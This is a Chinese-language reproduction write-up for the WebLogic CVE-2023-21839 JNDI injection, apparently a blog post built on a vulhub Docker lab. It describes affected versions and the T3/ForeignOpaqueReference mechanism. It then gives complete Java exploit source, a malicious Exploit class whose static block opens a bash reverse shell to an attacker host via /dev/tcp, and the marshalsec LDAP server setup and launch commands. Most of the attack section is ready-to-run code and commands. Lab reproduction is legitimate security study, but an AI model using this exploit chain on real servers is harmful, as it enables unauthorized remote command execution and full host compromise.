影响范围

  • WebLogic Server 12.2.1.3.0
  • WebLogic Server 12.2.1.4.0
  • WebLogic Server 14.1.1.0.0

漏洞类型

未授权访问、JNDI 注入、Java 反序列化

操作系统限制

配置要求

  • 7001 端口对外开放

漏洞利用

命令执行,反弹 shell

利用原理

WebLogic 默认开启 T3 协议用于内部分布式通信,T3 协议某些接口没有对调用者进行身份校验,WebLogic 内部中的一个叫 weblogic.deployment.jms.ForeignOpaqueReference 的类是用来引用外部资源的,当把这个类的一个实例发送给 WebLogic 会触发 getReferent () 方法,WebLogic 会自动根据对象内部存储的 remoteJNDIName 发起新的请求,攻击者利用反射机制,强行将 remoteJNDIName 改成恶意的 ldap://攻击机 ip:1389/Exploit。WebLogic 访问 marshalsec(LDAP)时,marshalsec 返回一个引用对象,里面含有编译存放反弹 shell 敏感命令的恶意 class,WebLogic 通过 HTTP 下载恶意 class,后续在 Java 加载类时,会自动执行 static {…} 块里的代码,由于 WebLogic 是以高权限运行,代码里面的敏感命令被执行

漏洞复现

现成的 vulhub 来拉取镜像

1
2
3
4
5
6
#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/weblogic/CVE-2023-21839
#拉取镜像
docker-compose up -d

1773402543221

直接 http://靶机 ip:7001/console,重定向到登录界面 http://靶机 ip:7001/console/login/LoginForm.jsp

1773402567637

这里在靶机创建攻击脚本 CVE_2023_21839.java,后续要用到 WebLogic 的两个客户端库来构建 jar 包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;

public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址\ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";

private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }

}
}

1773402620979

在同一个目录拉取 WebLogic 客户端库

1
2
3
4
#拷贝第一个包
docker cp e13e9edb8ab2:/u01/oracle/wlserver/server/lib/wlthint3client.jar ./wlthint3client.jar
#拷贝第二个包
docker cp e13e9edb8ab2:/u01/oracle/coherence/lib/coherence.jar ./coherence.jar

1773402661459

靶机使用 jdk1.8,用于拉取 WebLogic 内部的 jar 包

1773402700169

生成攻击 jar 包

1
2
3
4
#编译 (Linux 下多个 jar 包用冒号 : 隔开)
javac -cp "wlthint3client.jar:coherence.jar" CVE_2023_21839.java
#生成攻击 jar 包
jar cfe exploit.jar CVE_2023_21839 CVE_2023_21839.class

1773402769638

传到攻击机,搭 python 服务器之间下载三个 jar 包

1
2
3
wget http://靶机ip:开放端口/exploit.jar
wget http://靶机ip:开放端口/wlthint3client.jar
wget http://靶机ip:开放端口/coherence.jar

1773402880079

下载工具 marshalsec

1
2
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec && mvn clean package -DskipTests

1773402909836

创建 Exploit.java

1
2
3
4
5
6
7
8
9
10
11
import java.util.*;
import java.io.*;

public class Exploit {
static {
try {
String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/攻击机ip/监听端口 0>&1"};
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {}
}
}

1773402933321

编译

1
javac Exploit.java

1773402959160

开启 python 临时服务器

1
python3 -m http.server 服务器端口

1773402989206

到/marshalsec/target 目录下,并开放 1389 端口

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击机ip:临时服务器端口/#Exploit" 1389

1773403038670

用 nc 开启监听

1773403079733

发起攻击

1
java -cp "exploit.jar:wlthint3client.jar:coherence.jar" CVE_2023_21839 靶机:7001 ldap://攻击机:1389/Exploit

1773403129218

靶机请求连接 LDAP 服务,marshalsec 诱导 WebLogic 请求外部 HTTP 地址

1773403184903

python 临时服务器出现靶机请求记录

1773403232309

成功连接

1773403267292